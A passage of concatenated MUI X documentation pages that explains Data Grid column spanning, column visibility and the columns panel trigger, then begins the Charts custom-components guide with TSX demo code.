        columns={columns}
        rows={rows}
      />
    </Box>
  );
}

```

Function signature can also be useful to derive `colSpan` value from row data:

```tsx
import Box from '@mui/material/Box';
import { DataGridPro, GridColDef } from '@mui/x-data-grid-pro';

const slotTimesLookup = {
  0: '09:00 - 10:00',
  1: '10:00 - 11:00',
  2: '11:00 - 12:00',
  3: '12:00 - 13:00',
  4: '13:00 - 14:00',
  5: '14:00 - 15:00',
  6: '15:00 - 16:00',
  7: '16:00 - 17:00',
};

type Subject =
  | 'Maths'
  | 'English'
  | 'Lab'
  | 'Chemistry'
  | 'Physics'
  | 'Music'
  | 'Dance';

type Row = { id: number; day: string; slots: Array<Subject | ''> };

const rows: Array<Row> = [
  {
    id: 1,
    day: 'Monday',
    slots: ['Maths', 'English', 'English', 'Lab', '', 'Lab', 'Music', 'Music'],
  },
  {
    id: 2,
    day: 'Tuesday',
    slots: [
      'Chemistry',
      'Chemistry',
      'Chemistry',
      'Physics',
      '',
      'Maths',
      'Lab',
      'Dance',
    ],
  },
  {
    id: 3,
    day: 'Wednesday',
    slots: ['Physics', 'English', 'Maths', 'Maths', '', 'Chemistry', 'Chemistry'],
  },
  {
    id: 4,
    day: 'Thursday',
    slots: [
      'Music',
      'Music',
      'Chemistry',
      'Chemistry',
      '',
      'Chemistry',
      'English',
      'English',
    ],
  },
  {
    id: 5,
    day: 'Friday',
    slots: ['Maths', 'Dance', 'Dance', 'Physics', '', 'English'],
  },
];

const slotColumnCommonFields: Partial<GridColDef> = {
  sortable: false,
  filterable: false,
  pinnable: false,
  hideable: false,
  minWidth: 140,
  cellClassName: (params) => params.value,
  colSpan: (value, row, column) => {
    const index = Number(column.field);
    let colSpan = 1;
    for (let i = index + 1; i < row.slots.length; i += 1) {
      const nextValue = row.slots[i];
      if (nextValue === value) {
        colSpan += 1;
      } else {
        break;
      }
    }
    return colSpan;
  },
};

const columns: GridColDef<Row>[] = [
  {
    field: 'day',
    headerName: 'Day',
  },
  {
    field: '0',
    headerName: slotTimesLookup[0],
    valueGetter: (value, row) => row.slots[0],
    ...slotColumnCommonFields,
  },
  {
    field: '1',
    headerName: slotTimesLookup[1],
    valueGetter: (value, row) => row.slots[1],
    ...slotColumnCommonFields,
  },
  {
    field: '2',
    headerName: slotTimesLookup[2],
    valueGetter: (value, row) => row.slots[2],
    ...slotColumnCommonFields,
  },
  {
    field: '3',
    headerName: slotTimesLookup[3],
    valueGetter: (value, row) => row.slots[3],
    ...slotColumnCommonFields,
  },
  {
    field: '4',
    headerName: slotTimesLookup[4],
    valueGetter: (value, row) => row.slots[4],
    ...slotColumnCommonFields,
  },
  {
    field: '5',
    headerName: slotTimesLookup[5],
    valueGetter: (value, row) => row.slots[5],
    ...slotColumnCommonFields,
  },
  {
    field: '6',
    headerName: slotTimesLookup[6],
    valueGetter: (value, row) => row.slots[6],
    ...slotColumnCommonFields,
  },
  {
    field: '7',
    headerName: slotTimesLookup[7],
    valueGetter: (value, row) => row.slots[7],
    ...slotColumnCommonFields,
  },
];

const rootStyles = {
  display: 'flex',
  flexDirection: 'column',
  height: 'fit-content',
  width: '100%',
  '& .Maths': {
    backgroundColor: 'rgba(157, 255, 118, 0.49)',
  },
  '& .English': {
    backgroundColor: 'rgba(255, 255, 10, 0.49)',
  },
  '& .Lab': {
    backgroundColor: 'rgba(150, 150, 150, 0.49)',
  },
  '& .Chemistry': {
    backgroundColor: 'rgba(255, 150, 150, 0.49)',
  },
  '& .Physics': {
    backgroundColor: 'rgba(10, 150, 255, 0.49)',
  },
  '& .Music': {
    backgroundColor: 'rgba(224, 183, 60, 0.55)',
  },
  '& .Dance': {
    backgroundColor: 'rgba(200, 150, 255, 0.49)',
  },
};

export default function ColumnSpanningDerived() {
  return (
    <Box sx={rootStyles}>
      <DataGridPro
        autoHeight
        columns={columns}
        rows={rows}
        initialState={{
          pinnedColumns: {
            left: ['day'],
          },
        }}
        disableRowSelectionOnClick
        hideFooter
        showCellVerticalBorder
        showColumnVerticalBorder
        disableColumnReorder
      />
    </Box>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-visibility.md

# Data Grid - Column visibility

Define which columns are visible.

By default, all the columns are visible.
The column's visibility can be switched through the user interface in two ways:

- By opening the column menu and clicking the _Hide_ menu item.
- By clicking the _Columns_ menu and toggling the columns to show or hide.

You can prevent the user from hiding a column through the user interface by setting the `hideable` in `GridColDef` to `false`.

In the following demo, the "username" column cannot be hidden.

```tsx
import { DataGrid } from '@mui/x-data-grid';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 38,
    desk: 'D-546',
  },
  {
    id: 2,
    username: '@MUI-X',
    age: 25,
    desk: 'D-042',
  },
];

export default function VisibleColumnsBasicExample() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[
          { field: 'username', hideable: false },
          { field: 'age' },
          { field: 'desk' },
        ]}
        rows={rows}
        showToolbar
      />
    </div>
  );
}

```

## Initialize the visible columns

To initialize the visible columns without controlling them, provide the model to the `initialState` prop.

:::info

Passing the visible columns to the `initialState` prop will only have an impact when the Data Grid is rendered for the first time. In order to update the visible columns after the first render, you need to use the [`columnVisibilityModel`](#controlled-visible-columns) prop.

:::

```tsx
<DataGrid
  initialState={{
    columns: {
      columnVisibilityModel: {
        // Hide columns status and traderName, the other columns will remain visible
        status: false,
        traderName: false,
      },
    },
  }}
/>
```

```tsx
import { useDemoData } from '@mui/x-data-grid-generator';
import { DataGrid } from '@mui/x-data-grid';

export default function VisibleColumnsModelInitialState() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 20,
  });

  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        initialState={{
          ...data.initialState,
          columns: {
            ...data.initialState?.columns,
            columnVisibilityModel: {
              id: false,
              brokerId: false,
              status: false,
            },
          },
        }}
      />
    </div>
  );
}

```

## Controlled visible columns

Use the `columnVisibilityModel` prop to control the visible columns.
You can use the `onColumnVisibilityModelChange` prop to listen to the changes to the visible columns and update the prop accordingly.

```tsx
<DataGrid
  columnVisibilityModel={{
    // Hide columns status and traderName, the other columns will remain visible
    status: false,
    traderName: false,
  }}
/>
```

```tsx
import * as React from 'react';
import { useDemoData } from '@mui/x-data-grid-generator';
import { DataGrid, GridColumnVisibilityModel } from '@mui/x-data-grid';

export default function VisibleColumnsModelControlled() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 20,
  });

  const [columnVisibilityModel, setColumnVisibilityModel] =
    React.useState<GridColumnVisibilityModel>({
      id: false,
      brokerId: false,
      status: false,
    });

  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        columnVisibilityModel={columnVisibilityModel}
        onColumnVisibilityModelChange={(newModel) =>
          setColumnVisibilityModel(newModel)
        }
      />
    </div>
  );
}

```

## Column visibility panel

The column visibility panel lets users control which columns are visible in the Data Grid.

The panel can be opened by:

- Clicking the _Columns_ button in the [toolbar](/x/react-data-grid/components/#toolbar).
- Clicking the _Manage columns_ button in the [column menu](/x/react-data-grid/column-menu/).

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ColumnSelectorGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 10,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} showToolbar />
    </div>
  );
}

```

### Disable the column visibility panel

Sometimes, the intention is to disable the columns panel or control the visible columns programmatically based on the application state.
To disable the column visibility panel, set the prop `disableColumnSelector={true}` and use the [`columnVisibilityModel`](#controlled-visible-columns) prop to control the visible columns.

```tsx
<DataGrid disableColumnSelector columnVisibilityModel={columnVisibilityModel} />
```

In the following demo, the columns panel is disabled, and access to columns `id`, `quantity`, and `filledQuantity` is only permitted for the `Admin` type user.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import FormControl from '@mui/material/FormControl';
import Select, { SelectChangeEvent } from '@mui/material/Select';
import MenuItem from '@mui/material/MenuItem';
import InputLabel from '@mui/material/InputLabel';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const UserType = {
  Regular: 0,
  Admin: 1,
};

export default function ColumnSelectorDisabledGrid() {
  const [userType, setUserType] = React.useState(UserType.Regular);
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 7,
  });

  const columnVisibilityModel = React.useMemo(() => {
    if (userType === UserType.Admin) {
      return {
        quantity: true,
        filledQuantity: true,
        id: true,
      };
    }
    return {
      quantity: false,
      filledQuantity: false,
      id: false,
    };
  }, [userType]);

  return (
    <Stack height="450px" width="100%">
      <FormControl sx={{ width: '200px', pb: 1 }}>
        <InputLabel id="demo-simple-select-label">User Type</InputLabel>
        <Select
          labelId="demo-user-type-label"
          id="demo-user-type"
          value={userType}
          label="User Type"
          onChange={(event: SelectChangeEvent<number>) => {
            setUserType(event.target.value as number);
          }}
        >
          <MenuItem value={UserType.Regular}>Regular User</MenuItem>
          <MenuItem value={UserType.Admin}>Admin</MenuItem>
        </Select>
      </FormControl>
      <div style={{ height: 400, width: '100%' }}>
        <DataGrid
          {...data}
          disableColumnSelector
          columnVisibilityModel={columnVisibilityModel}
          showToolbar
        />
      </div>
    </Stack>
  );
}

```

### Customize the list of columns in columns management

To show or hide specific columns in the column visibility panel, use the `slotProps.columnsManagement.getTogglableColumns` prop. It should return an array of column field names.

```tsx
import {
  DataGridPremium,
  GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
} from '@mui/x-data-grid-premium';

// stop `id`, GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD, and `status` columns from being togglable
const hiddenFields = ['id', GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD, 'status'];

const getTogglableColumns = (columns: GridColDef[]) => {
  return columns
    .filter((column) => !hiddenFields.includes(column.field))
    .map((column) => column.field);
};

<DataGridPremium
  showToolbar
  slotProps={{
    columnsManagement: {
      getTogglableColumns,
    },
  }}
/>;
```

```tsx
import {
  DataGridPremium,
  GridColDef,
  useKeepGroupedColumnsHidden,
  useGridApiRef,
  GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

const hiddenFields = ['id', GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD, 'status'];

const getTogglableColumns = (columns: GridColDef[]) => {
  return columns
    .filter((column) => !hiddenFields.includes(column.field))
    .map((column) => column.field);
};

export default function ColumnSelectorGridCustomizeColumns() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 10,
  });

  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      ...data.initialState,
      rowGrouping: {
        model: ['status'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        apiRef={apiRef}
        {...data}
        initialState={initialState}
        showToolbar
        slotProps={{
          columnsManagement: {
            getTogglableColumns,
          },
        }}
      />
    </div>
  );
}

```

### Disable actions in footer

To disable `Show/Hide All` checkbox or `Reset` button in the footer of the columns management component, pass `disableShowHideToggle` or `disableResetButton` to `slotProps.columnsManagement`.

```tsx
<DataGrid
  showToolbar
  slotProps={{
    columnsManagement: {
      disableShowHideToggle: true,
      disableResetButton: true,
    },
  }}
/>
```

### Customize action buttons behavior when search is active

By default, the `Show/Hide All` checkbox toggles the visibility of all columns, including the ones that are not visible in the current search results.

To only toggle the visibility of the columns that are present in the current search results, pass `toggleAllMode: 'filteredOnly'` to `slotProps.columnsManagement`.

```tsx
<DataGrid
  slotProps={{
    columnsManagement: {
      toggleAllMode: 'filteredOnly',
    },
  }}
/>
```

```tsx
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ColumnSelectorGridToggleAllMode() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 10,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        showToolbar
        slotProps={{
          columnsManagement: {
            toggleAllMode: 'filteredOnly',
          },
        }}
      />
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/data-grid/columns-panel-trigger.md

# ColumnsPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Columns Panel component 🚧](/x/react-data-grid/components/columns-panel)

## Import

```jsx
import { ColumnsPanelTrigger } from '@mui/x-data-grid/components';
// or
import { ColumnsPanelTrigger } from '@mui/x-data-grid';
// or
import { ColumnsPanelTrigger } from '@mui/x-data-grid-pro';
// or
import { ColumnsPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/columnsPanel/ColumnsPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/columnsPanel/ColumnsPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-data-grid/components/columns-panel.md

---
productId: x-data-grid
components: ColumnsPanelTrigger
packageName: '@mui/x-data-grid'
githubLabel: 'scope: data grid'
---

# Data Grid - Columns Panel component 🚧

Customize the Data Grid's columns panel.

:::warning
This component is incomplete.

Currently, the Columns Panel Trigger is the only part of the Columns Panel component available.
Future versions of the Columns Panel component will make it possible to compose each of its parts to create a custom columns panel.

In the meantime, it's still possible to deeply customize the panel's subcomponents using custom slots.
See [Custom subcomponents—Columns panel](/x/react-data-grid/components/#columns-panel) for more details.

:::

The columns panel is part of the [column visibility feature](/x/react-data-grid/column-visibility/) and is enabled by default.
Users can trigger the columns panel via the column menu, as well as from the toolbar when `showToolbar` is passed to the `<DataGrid />` component.

You can use the Columns Panel Trigger and [Toolbar](/x/react-data-grid/components/toolbar/) components when you need to customize the columns panel trigger, or when implementing a custom toolbar.

## Basic usage

The demo below shows how to add a columns panel trigger to a custom toolbar.

```tsx
import {
  DataGrid,
  Toolbar,
  ToolbarButton,
  ColumnsPanelTrigger,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import Tooltip from '@mui/material/Tooltip';
import ViewColumnIcon from '@mui/icons-material/ViewColumn';

function CustomToolbar() {
  return (
    <Toolbar>
      <Tooltip title="Columns">
        <ColumnsPanelTrigger render={<ToolbarButton />}>
          <ViewColumnIcon fontSize="small" />
        </ColumnsPanelTrigger>
      </Tooltip>
    </Toolbar>
  );
}

export default function GridColumnsPanelTrigger() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 10,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        slots={{ toolbar: CustomToolbar }}
        showToolbar
      />
    </div>
  );
}

```

## Anatomy

```tsx
import { ColumnsPanelTrigger } from '@mui/x-data-grid';

<ColumnsPanelTrigger />;
```

### Columns Panel Trigger

`<ColumnsPanelTrigger />` is a button that opens and closes the columns panel.
It renders the `baseButton` slot.

## Custom elements

Use the `render` prop to replace default elements.
See [Components usage—Customization](/x/react-data-grid/components/usage/#customization) for more details, and [Toolbar—Custom elements demo](/x/react-data-grid/components/toolbar/#custom-elements) for an example of a custom Columns Panel Trigger.

## Accessibility

### ARIA

You must apply a text label or an `aria-label` attribute to the `<ColumnsPanelTrigger />`.


# ColumnsPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Columns Panel component 🚧](/x/react-data-grid/components/columns-panel)

## Import

```jsx
import { ColumnsPanelTrigger } from '@mui/x-data-grid/components';
// or
import { ColumnsPanelTrigger } from '@mui/x-data-grid';
// or
import { ColumnsPanelTrigger } from '@mui/x-data-grid-pro';
// or
import { ColumnsPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/columnsPanel/ColumnsPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/columnsPanel/ColumnsPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-charts/components.md

---
title: Charts - Custom components
productId: x-charts
components: ChartsClipPath, ChartsSurface
---

# Charts - Custom components

Create custom chart components using the provided hooks.

The MUI X Charts package provides a set of hooks to aid in the creation of custom Chart components.

## Interact with dimensions

The following sections detail how to handle the various dimensions when building custom Charts, including height, width, margins, scale, and series data.

### Drawing area

Drawing area refers to the space available to plot data (such as scatter points, lines, or pie arcs).
Charts dimensions are defined by the following props:

- `height` and `width` for the SVG size; if not provided, these values are derived from the container
- `margin` for the space between the SVG border and the axes or the drawing area
- The axes dimension properties (`xAxis[].height` and `yAxis[].width`) that add extra space to draw axes

The `margin` is used to leave space for extra elements, or to let data items overflow the drawing area.

You can use the `useDrawingArea()` hook in the Chart subcomponents to get the coordinates of the drawing area:

```jsx
import { useDrawingArea } from '@mui/x-charts';

const { left, top, width, height } = useDrawingArea();
```

```tsx
import * as React from 'react';
import { styled } from '@mui/material/styles';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { LinePlot } from '@mui/x-charts/LineChart';
import { useDrawingArea } from '@mui/x-charts/hooks';

const StyledPath = styled('path')(({ theme }) => ({
  fill: 'none',
  stroke: theme.palette.text.primary,
  shapeRendering: 'crispEdges',
  strokeWidth: 1,
  pointerEvents: 'none',
}));

const StyledText = styled('text')(({ theme }) => ({
  stroke: 'none',
  fill: theme.palette.text.primary,
  shapeRendering: 'crispEdges',
}));

function DrawingAreaBox() {
  const { left, top, width, height } = useDrawingArea();
  return (
    <React.Fragment>
      <StyledPath
        d={`M ${left} ${top} l ${width} 0 l 0 ${height} l -${width} 0 Z`}
      />
      <circle cx={left} cy={top} r={3} style={{ fill: 'red' }} />
      <circle cx={left + width} cy={top + height} r={3} style={{ fill: 'red' }} />
      <StyledText
        x={left}
        y={top}
        textAnchor="start"
        dominantBaseline="text-after-edge"
      >
        ({left},{top})
      </StyledText>
      <StyledText
        x={left + width}
        y={top + height}
        textAnchor="end"
        dominantBaseline="text-before-edge"
      >
        ({left + width},{top + height})
      </StyledText>
    </React.Fragment>
  );
}
export default function BasicScaleDemo() {
  return (
    <ChartContainer
      height={300}
      series={[
        {
          type: 'line',
          data: [13, 13, 54, 651, 657, 987, 64, 654, 954, 654, 897, 84],
        },
      ]}
      xAxis={[{ data: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], position: 'none' }]}
      yAxis={[{ position: 'none' }]}
    >
      <LinePlot />
      <DrawingAreaBox />
    </ChartContainer>
  );
}

```

### Scales

Some Charts, such as Line, Bar, and Scatter, do a mapping between their series' data and the SVG coordinates.

For example, a line chart series with a value of $36,725 on the 6th of December 2022 could be mapped to coordinates (628, 514).
This operation can also be reversed:
The coordinate `x=628` would be associated with the 6th of December 2022 and `y=514` would be associated with the value $36,725.

These mappings depend on the dimensions of the SVG and the drawing area.
They also depend on [axis properties](/x/react-charts/axis/) such as the scale (linear, log, square root) and min/max values.
All of this data is available in the [`d3-scale` objects](https://github.com/d3/d3-scale).

You can use `useXScale()` and `useYScale()` to access these scales.
Both accept a number or a string.
Use a number to select the index of the axis to be used, or a string to select an axis by its ID.

The scale object is generated so that it maps values to SVG coordinates.
The drawing area is automatically accounted for.

#### Value to coordinate

The default `d3-scale` method maps from values to coordinates.
For example, you can get the `x=0` coordinate as follows:

```jsx
// get the default x-axis scale
const xAxisScale = useXScale();
// get the position associated to the value 0
const xOrigin = xAxisScale(0);
```

```tsx
import * as React from 'react';
import { styled } from '@mui/material/styles';
import { ScaleLinear } from '@mui/x-charts-vendor/d3-scale';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { LinePlot } from '@mui/x-charts/LineChart';
import { useDrawingArea, useXScale, useYScale } from '@mui/x-charts/hooks';

const x = Array.from({ length: 21 }, (_, index) => -1 + 0.2 * index);
const linear = x.map((v) => -1 + v);
const poly = x.map((v) => -1 + v ** 2 - v);

const StyledPath = styled('path')<{ color: 'primary' | 'secondary' }>(
  ({ theme, color }) => ({
    fill: 'none',
    stroke: theme.palette.text[color],
    shapeRendering: 'crispEdges',
    strokeWidth: 1,
    pointerEvents: 'none',
  }),
);

function CartesianAxis() {
  // Get the drawing area bounding box
  const { left, top, width, height } = useDrawingArea();

  // Get the two scale
  const yAxisScale = useYScale() as ScaleLinear<any, any>;
  const xAxisScale = useXScale() as ScaleLinear<any, any>;

  const yOrigin = yAxisScale(0);
  const xOrigin = xAxisScale(0);

  const xTicks = [-2, -1, 1, 2, 3];
  const yTicks = [-2, -1, 1, 2, 3, 4, 5];

  return (
    <React.Fragment>
      {yTicks.map((value) => (
        <StyledPath
          key={value}
          d={`M ${left} ${yAxisScale(value)} l ${width} 0`}
          color="secondary"
        />
      ))}
      {xTicks.map((value) => (
        <StyledPath
          key={value}
          d={`M ${xAxisScale(value)} ${top} l 0 ${height}`}
          color="secondary"
        />
      ))}
      <StyledPath d={`M ${left} ${yOrigin} l ${width} 0`} color="primary" />
      <StyledPath d={`M ${xOrigin} ${top} l 0 ${height}`} color="primary" />
    </React.Fragment>
  );
}
export default function OriginDemo() {
  return (
    <ChartContainer
      margin={{ top: 5, left: 5, right: 5, bottom: 5 }}
      height={300}
      series={[
        {
          type: 'line',
          data: linear,
        },

        {
          type: 'line',
          data: poly,
        },
      ]}
      xAxis={[{ data: x, scaleType: 'linear', min: -1, max: 3, position: 'none' }]}
      yAxis={[{ min: -2, max: 5, position: 'none' }]}
    >
      <CartesianAxis />
      <LinePlot />
    </ChartContainer>
  );
}

```

#### Coordinate to value

The `d3-scale` object lets you convert a coordinate to a data value with the `invert()` method.

The next example contains two lines drawn using different y-axes.
By using `invert()`, the value associated with the current mouse coordinate `y` can be resolved as follows:

```jsx
<text>{leftAxisScale.invert(yCoordinate).toFixed(0)}</text>
```

```tsx
import * as React from 'react';
import { ScaleLinear } from '@mui/x-charts-vendor/d3-scale';
import { styled } from '@mui/material/styles';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { LinePlot } from '@mui/x-charts/LineChart';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { useDrawingArea, useYScale } from '@mui/x-charts/hooks';

const StyledPath = styled('path')(({ theme }) => ({
  fill: 'none',
  stroke: theme.palette.text.primary,
  shapeRendering: 'crispEdges',
  strokeWidth: 1,
  pointerEvents: 'none',
  strokeDasharray: '5 2',
}));

const StyledText = styled('text')(({ theme }) => ({
  stroke: 'none',
  fill: theme.palette.text.primary,
  shapeRendering: 'crispEdges',
}));

function ValueHighlight(props: { svgRef: React.RefObject<SVGSVGElement | null> }) {
  const { svgRef } = props;

  // Get the drawing area bounding box
  const { left, top, width, height } = useDrawingArea();

  // Get the two scale
  const leftAxisScale = useYScale('left_axis_id') as ScaleLinear<any, any>;
  const rightAxisScale = useYScale('right_axis_id') as ScaleLinear<any, any>;

  const [mouseY, setMouseY] = React.useState<null | number>(null);

  React.useEffect(() => {
    const element = svgRef.current;
    if (element === null) {
      return () => {};
    }

    const handleMouseOut = () => {
      setMouseY(null);
    };

    const handleMouseMove = (event: MouseEvent) => {
      const x = event.offsetX;
      const y = event.offsetY;
      if (x < left || x > left + width) {
        setMouseY(null);
        return;
      }
      if (y < top - 10 || y > top + height + 10) {
        // Allows some margin if slightly on top/bottom of the drawing area
        setMouseY(null);
        return;
      }
      setMouseY(Math.max(Math.min(top + height, y), top)); // clamp to the drawing area
    };

    element.addEventListener('mouseout', handleMouseOut);
    element.addEventListener('mousemove', handleMouseMove);
    return () => {
      element.removeEventListener('mouseout', handleMouseOut);
      element.removeEventListener('mousemove', handleMouseMove);
    };
  }, [height, left, top, width, svgRef]);

  if (mouseY === null) {
    return null;
  }
  return (
    <React.Fragment>
      <StyledPath d={`M ${left} ${mouseY} l ${width} 0`} />
      <StyledText
        x={left + 5}
        y={mouseY}
        textAnchor="start"
        dominantBaseline="text-after-edge"
      >
        {leftAxisScale.invert(mouseY).toFixed(0)}
      </StyledText>

      <StyledText
        x={left + width - 5}
        y={mouseY}
        textAnchor="end"
        dominantBaseline="text-after-edge"
      >
        {rightAxisScale.invert(mouseY).toFixed(0)}
      </StyledText>
    </React.Fragment>
  );
}
export default function ScaleDemo() {
  const svgRef = React.useRef<SVGSVGElement>(null);
  return (
    <ChartContainer
      ref={svgRef}
      height={300}
      series={[
        {
          type: 'line',
          data: [5, 15, 20, 24, 30, 38, 40, 51, 52, 61],
          yAxisId: 'left_axis_id',
        },
        {
          type: 'line',
          data: [
            50134, 48361, 46362, 44826, 42376, 40168, 38264, 36159, 34259, 32168,
          ],
          yAxisId: 'right_axis_id',
        },
      ]}
      xAxis={[
        {
          data: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10],
          scaleType: 'point',
          position: 'none',
        },
      ]}
      yAxis={[
        { id: 'left_axis_id', position: 'left' },
        { id: 'right_axis_id', position: 'right', width: 50 },
      ]}
    >
      <LinePlot />
      <ChartsYAxis axisId="left_axis_id" />
      <ChartsYAxis axisId="right_axis_id" />
      <ValueHighlight svgRef={svgRef} />
    </ChartContainer>
  );
}

```

### Series

Series information is accessible through the `useSeries()` hook for all series types, and the `use[Type]Series()` hook for a specific series type.
These hooks return the order of the series and their configuration, including data points, color, and more.

You can use that information to create custom charts.
For example, you can use `useLineSeries()` to obtain the series of a Line Chart and display an indicator of the minimum and maximum values of each series:

```tsx
import * as React from 'react';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { LinePlot } from '@mui/x-charts/LineChart';
import { useLineSeries, useXAxis, useXScale, useYScale } from '@mui/x-charts/hooks';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import { DefaultizedLineSeriesType } from '@mui/x-charts/models';

function ExtremaLabels() {
  const lineSeries = useLineSeries();

  if (!lineSeries) {
    return null;
  }

  return (
    <React.Fragment>
      {lineSeries.map((series) => (
        <SingleSeriesExtremaLabels series={series} />
      ))}
    </React.Fragment>
  );
}

function SingleSeriesExtremaLabels({
  series,
}: {
  series: DefaultizedLineSeriesType;
}) {
  const xAxis = useXAxis('x');

  const min = series.data.reduce(
    (acc, value, index) =>
      value != null && value < acc.value ? { index, value } : acc,
    { index: -1, value: Infinity },
  );
  const max = series.data.reduce(
    (acc, value, index) =>
      value != null && value > acc.value ? { index, value } : acc,
    { index: -1, value: -Infinity },
  );

  return (
    <React.Fragment>
      <PointLabel
        x={xAxis.data?.[min.index]}
        y={min.value}
        placement="below"
        color={series.color}
      />
      <PointLabel
        x={xAxis.data?.[max.index]}
        y={max.value}
        placement="above"
        color={series.color}
      />
    </React.Fragment>
  );
}

function PointLabel({
  x,
  y,
  placement,
  color,
}: {
  x: number;
  y: number;
  placement: 'above' | 'below';
  color: string;
}) {
  const xAxisScale = useXScale();
  const yAxisScale = useYScale();

  const left = xAxisScale(x) ?? 0;
  const top = (yAxisScale(y) ?? 0) + (placement === 'below' ? 20 : -20);

  return (
    <Box
      sx={{
        position: 'absolute',
        left,
        top,
        translate: '-50% -50%',
        border: `2px solid ${color}`,
        borderRadius: 1,
        px: 1,
      }}
    >
      <Typography variant="caption">{y}</Typography>
    </Box>
  );
}

export default function SeriesDemo() {
  return (
    <Box sx={{ position: 'relative', width: '100%' }}>
      <ChartDataProvider
        xAxis={[{ id: 'x', data: [1, 2, 3, 5, 8, 10], height: 28 }]}
        series={[
          { id: 'a', type: 'line', data: [4, 6, 4, 9, 3, 5] },
          { id: 'b', type: 'line', data: [3, 7, 8, 2, 4, 9] },
        ]}
        yAxis={[{ min: 0, max: 10 }]}
        height={300}
      >
        <ChartsSurface>
          <LinePlot />
          <ChartsXAxis />
          <ChartsYAxis />
        </ChartsSurface>
        <ExtremaLabels />
      </ChartDataProvider>
    </Box>
  );
}

```

## HTML components

Use the `ChartDataProvider` to access chart data from any component.
This lets you create HTML components that interact with the data.

In the next example, notice that the `MyCustomLegend` component displays the series names and colors.
This creates an HTML `<table>` element, which can be customized in any way.

```tsx
import Box from '@mui/material/Box';
import { useLegend } from '@mui/x-charts/hooks';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';

function MyCustomLegend() {
  const { items } = useLegend();
  return (
    <table
      style={{
        marginLeft: 40,
        marginRight: 40,
      }}
    >
      <tbody>
        {items.map((v) => {
          return (
            <tr key={v.id}>
              <td aria-hidden>
                <div
                  style={{
                    background: v.color,
                    height: 10,
                    width: 10,
                    marginRight: 10,
                    flexShrink: 0,
